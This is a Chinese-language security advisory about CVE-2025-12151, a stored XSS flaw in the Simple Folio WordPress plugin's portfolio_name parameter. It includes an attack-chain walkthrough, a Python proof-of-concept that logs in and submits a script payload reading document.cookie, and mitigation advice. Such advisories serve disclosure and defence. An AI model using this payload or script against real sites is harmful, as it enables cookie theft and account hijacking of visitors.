IPBUF安全漏洞报告
English
CVE-2025-12151 CVSS 6.4 中危

CVE-2025-12151 Simple Folio插件存储型XSS漏洞

披露日期: 2025-11-27

漏洞信息

漏洞编号
CVE-2025-12151
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Simple Folio WordPress插件

相关标签

存储型XSSWordPress插件漏洞Simple FolioCVE-2025-12151跨站脚本认证用户漏洞输入验证不足输出转义缺失

漏洞概述

CVE-2025-12151是WordPress Simple Folio插件中的一个存储型跨站脚本(XSS)安全漏洞。该漏洞存在于插件的portfolio_name参数中,由于插件在处理用户输入时缺乏充分的输入清理和输出转义,导致恶意脚本可以被永久存储在数据库中。攻击者只需拥有订阅者(Subscriber)级别或更高的权限即可利用此漏洞,成功注入的恶意脚本会在任何用户访问包含该注入内容的页面时自动执行。此类漏洞可被用于窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或传播恶意软件,对网站和访问者均构成严重安全风险。由于攻击利用门槛较低且影响范围广泛,建议受影响的用户立即采取修复措施。

技术细节

该漏洞的根本原因在于Simple Folio插件对portfolio_name参数的处理存在安全缺陷。插件在接收用户输入的portfolio_name值时,未对其进行适当的输入清理(如使用esc_html、esc_attr等函数进行HTML转义),同时在输出该值时也缺少输出转义处理。这使得攻击者可以在portfolio_name字段中注入恶意的HTML或JavaScript代码,如<script>alert(document.cookie)</script>。由于该值被存储在WordPress数据库中,当管理员或其他用户访问展示作品集(portfolio)的页面时,浏览器会解析并执行这些恶意脚本。由于是存储型XSS,攻击只需一次注入即可影响所有访问该页面的用户,即使后续访问该页面的用户本身不具有任何权限也能被攻击。攻击者可利用此漏洞窃取认证会话、修改页面内容或进行进一步的攻击链利用。

攻击链分析

STEP 1
步骤1
攻击者登录WordPress网站,获得订阅者(Subscriber)级别或更高权限的账户
STEP 2
步骤2
攻击者访问Simple Folio插件的portfolio创建/编辑功能
STEP 3
步骤3
在portfolio_name参数中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
步骤4
由于插件未对输入进行清理和转义,恶意脚本被永久存储在数据库中
STEP 5
步骤5
当管理员或其他用户访问展示该portfolio的页面时,浏览器会解析并执行注入的恶意脚本
STEP 6
步骤6
攻击者可通过JavaScript窃取用户Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # Target WordPress site target_url = "http://target-wordpress-site.com" # Authentication credentials (Subscriber-level or higher) username = "attacker" password = "attacker_password" # XSS payload xss_payload = '<script>alert(document.cookie)</script>' def exploit_stored_xss(): """ This PoC demonstrates the Stored XSS vulnerability in Simple Folio plugin. The vulnerability allows authenticated users to inject arbitrary JavaScript via the portfolio_name parameter, which is then stored and executed when other users view the affected page. """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Create portfolio with XSS payload in portfolio_name # Note: The actual endpoint may vary depending on plugin version create_url = f"{target_url}/wp-admin/admin-ajax.php" # This is a generic example - actual exploitation requires # identifying the correct AJAX action and parameters create_data = { 'action': 'simple_folio_save_portfolio', 'portfolio_name': xss_payload, 'nonce': 'your_nonce_here' # May need to obtain valid nonce } response = session.post(create_url, data=create_data) print(f"[*] Payload sent: {xss_payload}") print(f"[*] Response: {response.text}") # Step 3: When any user visits the portfolio page, the XSS will execute print("[!] XSS payload has been stored. Any user viewing the portfolio page will trigger the alert.") return True if __name__ == "__main__": exploit_stored_xss()

影响范围

Simple Folio插件 <= 1.1.0

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 临时禁用Simple Folio插件直至完成升级;2) 限制用户注册和订阅者权限账户的创建;3) 使用Web应用防火墙(WAF)规则阻止包含<script>标签的请求;4) 加强对新注册用户账户的审核和管理;5) 定期检查数据库中是否存在异常的portfolio_name值;6) 考虑使用第三方安全服务进行实时监控和防护。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表